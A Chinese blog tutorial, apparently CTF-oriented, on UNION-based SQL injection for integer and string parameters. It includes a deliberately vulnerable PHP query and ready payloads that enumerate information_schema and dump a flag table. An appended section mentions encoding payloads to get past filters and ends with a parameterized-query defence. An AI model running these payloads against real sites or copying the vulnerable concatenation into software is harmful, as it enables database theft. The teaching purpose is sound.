[WEB安全/SQL注入]SQLI注入原理分析/整数与字符型联合注入总结

本文深入解析SQL注入原理,包括整数型与字符型注入的区别,如何利用UNION操作符进行数据库、表及字段爆破,以及如何显示敏感数据。涵盖SQL注入的常见手法和防御策略。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

SQL注入(1)整数型和字符型

题目的链接,整数型注入和字符型注入。

注:本篇不讨论sql的bypass。

注入是什么?

简单来说就是利用PHP代码的漏洞,构造合法的恶意SQL语句,藉由后端应用(如PHP应用)对SQL数据库进行敏感数据查询。

一.UNION联合注入原理

注入的思路十分清晰,一般来说分为以下步骤:

查窗口(查询列数)---爆数据库名--爆表名--爆列名(字段)---爆内容
三个重要的东西:UNION,PHP语句,information_schema.
1.Union字段介绍与注入条件和原理
Union

UNION 操作符用于合并两个或多个 SELECT 语句的结果集。且列明由第一个SELECT确定。
在这里插入图片描述

正确执行的条件

1.UNION 内部的 SELECT 语句必须拥有相同数量的列。

2.列也必须拥有相似的数据类型,且只能回显同类型数据。

3.每条 SELECT 语句中的列的顺序必须相同。

原理

1.保证前半段不返回数据:PHP应用再构造查询语句时使用了LIMIT关键字或获取mysql数据集时只取第一个,导致只能显示一行数据,因此我们必须保证UNION的前半段返回的数据为空,防止真正查询的数据空间被挤占(一般来说如id字段,不会出现-1的数据,诸如此类)。
在这里插入图片描述

2.注入窗口的来源:由于实际回显的数据是UNION的后半段SELECT语句的查询结果,所以我们通过UNION SELECT 1,2,3的语句可以确定表的字段数,并且以此作为会先数据的窗口,通过改变1,2,3的值返回目的数据。

补充:select直接加数字进行查询时,回显的内容就是我们构造的数字,可构造一个1行n列的表。(且此表在拼接前或处于拼接表的前端时,表名为我们输入的数据名,这个在这里不会用到,但在一些特殊的注入中会涉及)。
在这里插入图片描述

3.注入的突破口: SQL命令由PHP函数提交给了SQL数据库,本质上是一条字符串,他会跟据后端PHP构造的查询语句将SQL语句提交到数据库应用,如果提交过程中过滤不严格,我们可以利用一些手段进行注入,通过 ’ 和 # 对语句进行闭合处理,使后面的UNION联合查询符合SQL语法,最终导致SQL语句在数据库应用执行,将查询结果输出到回显窗口

$sql="SELECT * FROM userinfo where id='$uid'";

4.注入的路径: SQL5.7以上版本中默认包含了一个特殊的库information_schema,其中包含了在SQL数据库中存在的所有的库名,表名,字段名,以及他们的从属关系。

2.分析网页对参数处理的PHP代码
<?php
//通过GET方法(形式:url或form表单)传入
$uid=$_GET['id']; 
//此处书写方式的不同直接决定了是整数型还是字符型注入,下面具体区分
$sql="SELECT * FROM userinfo where id=$uid";

//mysql_connect() 函数打开非持久的 MySQL 连接,返回一个连接标识
$conn=mysql_connect ('localhost','root','root');
//mysqli_select_db() 函数用于更改连接的默认数据库("库名",连接标识)
mysql_select_db("sql",$conn);

//mysql_query(),函数执行一条 MySQL 查询,返回值mysql_fetch_row()的指针参数(数据库返回的结果)
$result=mysql_query($sql,$conn);

print_r('当前SQL语句: '.$sql.' 结果: ');
print_r(mysql_fetch_row($result));
?>
相关函数和关键字
mysql_fetch_row(data)

函数从结果集中取得一行作为数字数组。

此条性质决定了通过窗口输出数据时,要求Union前的查询语句返回数据为空,以为目的回显数据保留窗口

group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator '分隔符'] )

此函数可保证在同一个窗口显示一个字段下的多个数据。将group by产生的(以某个字段的不同数据为基准分组)将同一个分组中的值连接起来,返回一个字符串结果。

GROUP BY 字段名;

根据某个字段对SELECT的内容分组,以该字段的不同数据为依据分组。

3.information_schema中的三个关键的表
1.SCHEMATA

提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。

schema_name()

schemata的字段,表示库名;

2.TABLES

提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。

table_name()

tables的字段,含有所有的表名和他所在的库;

table_schema()

tables的字段,指定的表所在的库名。

3.COLUMNS

提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename 的结果取之此表。

column_name()

column的字段,包含所有的字段名和他所对应的库名和列名。

二.两类问题,两个实例

1.整数型注入

PHP源码格式
$querry = "select * from 表名 where id= $_GET['id']"

注入流程

回显窗口确定个数:
#两列时完整回显
5 union select 2,3
爆库:
#回显了可以数据库:sqli
5 union select 2,group_concat(schema_name) from information_schema.schemata
爆表:
#回显了可疑的表名flag
5 union select 2,group_concat(table_name) from information_schema.tables where table_schema="sqli(目标表所在库)"

5 union select 2,group_concat(table_name) from information_schema.tables where table_schema="hbuctf"
爆字段:
#回显了可疑的字段名flag
5 union select 2,group_concat(column_name) from information_schema.columns where table_name="flag(目标表名)"
显示数据:
5 union select 2,group_concat(flag(目标字段名)) from flag(目标表名)

2.字符型注入

PHP源码格式

$querry = "select * from 表名 where id= '$_GET['id']' "

注入流程

回显窗口确定个数:
#两列时完整回显
5' union select 2,3#
爆库:
#回显了可以数据库:sqli
5' union select 2,group_concat(schema_name) from information_schema.schemata#
or
5' union select 2,database()#
爆表:
#回显了可疑的表名flag
5' union select 2,group_concat(table_name) from information_schema.tables where table_schema="sqli(目标表所在库)"#
爆字段:
#回显了可疑的字段flag
5' union select 2,group_concat(column_name) from information_schema.columns where table_name="flag(目标表)"#
显示数据:
5' union select 2,group_concat(flag(目标字段)) from flag(目标表)#

补充:

字符型注入测试语句:
xx' and '1'=1--' 		//正确
xx' and '1=2--'			//错误
查数据库信息(可能用到,在窗口直接使用即可)
version查看数据库的版本
select * from news where id=5 union select 233,version()
ID: 233
Data: 10.3.22-MariaDB-0+deb10u1

查看当前的数据库
select * from news where id=5 union select 233,database()
ID: 233
Data: sqli

查看登陆数据库的用户
select * from news where id=5 union select 233,user()
ID: 233
Data: root@localhost
可能用到的函数和操作符
与GROUP_CONCAT()组合有妙用
ORDER BY: select SUBSTRING_INDEX(GROUP_CONCAT(stuName ORDER BY score ASC)(截取处理的字段),',(以这个字符为分隔符分组)',1(取第n组,1开始))

ORDER BY 语句用于根据指定的列对结果集进行排序。
ORDER BY 语句默认按照升序对记录进行排序。
如果希望按照降序对记录进行排序,可以使用 DESC 关键字。

例:SELECT Company, OrderNumber FROM Orders ORDER BY Company DESC, OrderNumber ASC
当对两个字段分别使用不同的排列方式时,先写上的占主导。
IN: WHERE column_name IN (value1,value2,...) IN 操作符允许我们在 WHERE 子句中规定多个值。
GROUP BY 字段名;
根据某个字段对SELECT的内容分组,以该字段的不同数据为依据分组。
ON 条件是在生成临时表时使用的条件;
WHERE 条件是在临时表已经生成后,对临时表进行的过滤条件。
 LIMIT: SELECT * FROMorder by 字段 asc limit n,n(0开始);   查询指定行。
LIKE:
select * from stu_info where name like "%a%";
(列出所有包含<某字符>(有它就行)字符的数据项) :waw,wa,aw,a
select * from stu_info where name like "d%";
(列出所有包含<某字符><右边>有字符或它本身的数据项):a,aw
select * from stu_info where name like "%d";
(列出所有包含<某字符><左边>有字符或它本身的数据项):a,wa
select * from stu_info where name like "_m_";
(列出所有包含<某字符><有且左边和右边都>包含字符的数据项):waw
select * from stu_info where name like "_m";
(列出所有包含<某字符><有且仅有右边>包含字符的数据项):wa
select * from stu_info where name like "m_";
(列出所有包含<某字符><有且仅有左边>包含字符的数据项):aw
字符型和整数型的区别

字符:除数字之外都是字符

数字:0-9

两种SQL语句的区别:

数字型: SELECT 列 FROM 表 WHERE 数字型列=值
字符型: SELECT 列 FROM 表 WHERE 字符型列=’值’

SQL中的单引号
  • 单引号必须成对出现,否则数据库就会报错。
  • 如果两个单引号之间内容为空,数据库自动忽略。
### SQL注入报错的原因分析解决方案 #### 一、SQL注入报错原因 SQL注入过程中出现的报错通常是因为输入的数据破坏了原始SQL语句的语法结构,或者触发了数据库的安全机制。以下是常见的几种报错场景及其成因: 1. **语法错误** 当攻击者尝试通过拼接恶意字符串来修改SQL查询逻辑时,可能会导致SQL语句无法正常解析而引发语法错误。例如,在`sqli-labs`的第一关中,如果仅闭合单引号而不处理后续部分,则可能导致前端页面显示类似“syntax error”的提示[^2]。 2. **权限不足** 数据库操作可能涉及特定用户的访问控制策略。当执行某些敏感命令(如读取文件或调用系统函数)时,若当前账户缺乏相应权限,也会抛出异常信息。 3. **防御措施生效** 现代Web应用往往配备多种防护手段对抗SQL注入威胁,比如WAF(Web Application Firewall),它能够识别并拦截可疑请求;另外还有参数化查询等编程层面的最佳实践可以有效规避此类漏洞的发生。 4. **数据类型冲突** 如果注入点预期接收整数型参数却收到字符型输入,那么转换失败同样会造成运行期崩溃现象。 #### 二、解决SQL注入报错的方法 针对上述提到的各种情形,下面列举了一些通用的技术应对办法: 1. **调整测试载荷(Payload)** 对于简单的语法问题,可以通过精心设计payload使得最终形成的完整query既满足业务需求又能绕过初步筛查。举个例子来说就是采用编码技术隐藏特殊符号的真实含义直到被目标引擎解读为止。 2. **利用条件判断代替直接输出** 考虑到有些场合不允许看到确切的error message,此时可改用布尔盲注法或者其他间接方式获取所需情报而不是依赖显式的fault report. 3. **借助工具自动化探索过程** 使用像SQLMap这样的开源软件可以帮助快速定位潜在风险区域以及自动适应不同的环境配置从而减少手动调试的工作量。假如遇到Windows平台上关于SQLMap本身的setup难题的话,按照官方文档指示逐步排查直至成功部署也是必要的步骤之一[^3]. 4. **增强应用程序安全性建议** - 实施严格的输入验证流程确保所有外部传入的数据都经过适当过滤后再参内部运算。 - 推荐始终优先选用预编译语句而非动态组装string形式的commands. - 定期审查源码查找任何可能成为突破口的位置加以修正完善。 ```python import pymysql.cursors connection = pymysql.connect(host='localhost', user='user', password='passwd', database='db', cursorclass=pymysql.cursors.DictCursor) try: with connection.cursor() as cursor: sql = "SELECT * FROM users WHERE username=%s AND password=MD5(%s)" cursor.execute(sql, ('admin', 'password')) # 参数绑定防止SQL Injection finally: connection.close() ``` 以上代码片段展示了如何安全地构建SQL查询以防范传统意义上的injection attack。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值